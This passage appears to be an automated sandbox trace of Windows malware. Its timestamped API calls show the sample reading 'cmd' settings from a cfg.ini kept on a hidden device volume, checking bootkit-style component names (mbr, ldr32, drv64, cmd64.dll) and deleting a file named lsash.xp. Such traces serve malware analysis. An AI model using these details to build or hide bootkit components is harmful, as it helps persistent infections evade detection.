Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.172] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.172] IdePortDispatch () returned 0x103 [0126.172] KeWaitForMutexObject () returned 0x0 [0126.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.172] KeLeaveCriticalRegion () [0126.172] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.172] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.172] KeEnterCriticalRegion () [0126.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c7000 [0126.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.172] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.173] IdePortDispatch () returned 0x103 [0126.173] KeWaitForMutexObject () returned 0x0 [0126.173] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.173] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.173] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.173] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.173] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.173] IdePortDispatch () returned 0x103 [0126.173] KeWaitForMutexObject () returned 0x0 [0126.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.173] KeLeaveCriticalRegion () [0126.173] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.173] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.173] KeEnterCriticalRegion () [0126.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.174] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.174] KeLeaveCriticalRegion () [0126.174] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.174] KeEnterCriticalRegion () [0126.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.174] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.174] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.174] KeLeaveCriticalRegion () [0126.174] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.174] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.174] KeEnterCriticalRegion () [0126.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.174] ExFreePoolWithTag (P=0xfffffa8003beeba0, Tag=0x0) [0126.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.174] KeLeaveCriticalRegion () [0126.174] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.174] ReleaseMutex (hMutex=0xf0) returned 1 [0126.174] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.174] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.174] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.174] KeEnterCriticalRegion () [0126.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.174] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.174] IdePortDispatch () returned 0x103 [0126.174] KeWaitForMutexObject () returned 0x0 [0126.174] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.174] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.174] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.174] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.174] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.174] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da280 [0126.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.175] KeLeaveCriticalRegion () [0126.175] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.175] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.175] KeEnterCriticalRegion () [0126.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.175] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.175] KeLeaveCriticalRegion () [0126.175] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.175] KeEnterCriticalRegion () [0126.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.175] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.175] IdePortDispatch () returned 0x103 [0126.175] KeWaitForMutexObject () returned 0x0 [0126.175] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.175] KeLeaveCriticalRegion () [0126.175] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.175] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.175] KeEnterCriticalRegion () [0126.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.175] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c8000 [0126.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.175] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.175] IdePortDispatch () returned 0x103 [0126.175] KeWaitForMutexObject () returned 0x0 [0126.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.176] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.176] IdePortDispatch () returned 0x103 [0126.176] KeWaitForMutexObject () returned 0x0 [0126.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.176] KeLeaveCriticalRegion () [0126.176] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.176] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.176] KeEnterCriticalRegion () [0126.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.176] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.176] KeLeaveCriticalRegion () [0126.176] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.177] KeEnterCriticalRegion () [0126.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.177] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.177] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.177] KeLeaveCriticalRegion () [0126.177] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.177] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.177] KeEnterCriticalRegion () [0126.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.177] ExFreePoolWithTag (P=0xfffffa80037da280, Tag=0x0) [0126.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.177] KeLeaveCriticalRegion () [0126.177] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.177] ReleaseMutex (hMutex=0xf0) returned 1 [0126.177] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.177] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.177] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.177] KeEnterCriticalRegion () [0126.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.177] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.177] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.177] IdePortDispatch () returned 0x103 [0126.177] KeWaitForMutexObject () returned 0x0 [0126.177] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.177] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.177] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.177] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.177] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.177] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800388f750 [0126.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.177] KeLeaveCriticalRegion () [0126.177] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.177] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.177] KeEnterCriticalRegion () [0126.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.178] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.178] KeLeaveCriticalRegion () [0126.178] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.178] KeEnterCriticalRegion () [0126.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.178] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.178] IdePortDispatch () returned 0x103 [0126.178] KeWaitForMutexObject () returned 0x0 [0126.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.178] KeLeaveCriticalRegion () [0126.178] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.178] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.178] KeEnterCriticalRegion () [0126.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c9000 [0126.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.178] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.178] IdePortDispatch () returned 0x103 [0126.178] KeWaitForMutexObject () returned 0x0 [0126.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.178] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.178] IdePortDispatch () returned 0x103 [0126.179] KeWaitForMutexObject () returned 0x0 [0126.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.179] KeLeaveCriticalRegion () [0126.179] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.179] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.179] KeEnterCriticalRegion () [0126.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.179] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.179] KeLeaveCriticalRegion () [0126.179] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.179] KeEnterCriticalRegion () [0126.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.179] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.179] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.179] KeLeaveCriticalRegion () [0126.179] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.179] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.179] KeEnterCriticalRegion () [0126.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.180] ExFreePoolWithTag (P=0xfffffa800388f750, Tag=0x0) [0126.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.180] KeLeaveCriticalRegion () [0126.180] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.180] ReleaseMutex (hMutex=0xf0) returned 1 [0126.180] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.180] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.180] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.180] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.180] KeEnterCriticalRegion () [0126.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.180] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.180] IdePortDispatch () returned 0x103 [0126.180] KeWaitForMutexObject () returned 0x0 [0126.181] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.181] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.181] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.181] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.181] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.181] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.181] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.181] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.181] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.181] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.181] KeLeaveCriticalRegion () [0126.181] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.181] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.181] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.181] KeEnterCriticalRegion () [0126.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.181] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.181] IdePortDispatch () returned 0x103 [0126.181] KeWaitForMutexObject () returned 0x0 [0126.181] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.181] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.181] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.181] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.181] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.181] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.181] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.181] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.181] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.181] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.181] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.182] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.182] KeLeaveCriticalRegion () [0126.182] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.182] ReleaseMutex (hMutex=0x100) returned 1 [0126.182] Sleep (dwMilliseconds=0x2bf20) [0126.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e68ea30, dwHighDateTime=0x1d24fa4)) [0126.188] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.188] WaitForSingleObject 